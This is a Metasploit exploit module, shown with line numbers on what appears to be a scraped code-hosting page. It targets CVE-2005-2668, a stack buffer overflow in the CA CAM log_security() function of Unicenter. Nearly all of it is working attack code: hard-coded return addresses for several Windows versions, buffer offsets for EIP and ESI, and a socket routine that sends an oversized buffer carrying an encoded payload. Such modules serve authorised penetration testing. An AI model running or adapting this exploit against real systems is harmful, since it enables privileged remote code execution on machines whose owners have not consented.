Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
14
      'Description'    => %q{
15
          This module exploits a vulnerability in the CA CAM service
16
        by passing a long parameter to the log_security() function.
17
        The CAM service is part of TNG Unicenter. This module has
18
        been tested on Unicenter v3.1.
19
      },
20
      'Author'         => [ 'hdm' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          ['CVE', '2005-2668'],
25
          ['OSVDB', '18916'],
26
          ['BID', '14622'],
27
        ],
28
      'Privileged'     => true,
29
      'Payload'        =>
30
        {
31
          'Space'    => 1024,
32
          'BadChars' => "\x00",
33
          'StackAdjustment' => -3500,
34
        },
35
      'Platform'      => %w{ win },
36
      'Targets'        =>
37
        [
38
          # W2API.DLL @ 0x01950000 - return to ESI
39
          ['W2API.DLL TNG 2.3',  { 'Platform' => 'win', 'Ret' => 0x01951107 }],
40

41
          # Return to ESI in ws2help.dll
42
          ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
43
          ['Windows XP SP0-SP1 English',   { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
44
          ['Windows XP SP2 English',       { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
45
          ['Windows 2003 SP0 English',     { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
46
        ],
47
      'DisclosureDate' => '2005-08-22',
48
      'DefaultTarget' => 0))
49
  end
50

51

52
  def check
53
    connect
54
    ack = sock.get_once || ''
55
    disconnect
56

57
    (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
58
  end
59

60
  def exploit
61
    connect
62

63
    ack = sock.get_once
64
    if (ack != "ACK\x00")
65
      print_status("The CAM service is not responding")
66
    end
67

68
    buf = rand_text_english(4096, payload_badchars)
69

70
    # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
71
    buf[ 1016, 4 ] = [target.ret].pack('V')
72
    buf[ 1052, payload.encoded.length ] = payload.encoded
73

74
    sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
75

76
    handler
77
    disconnect
78
  end
79
end
80

81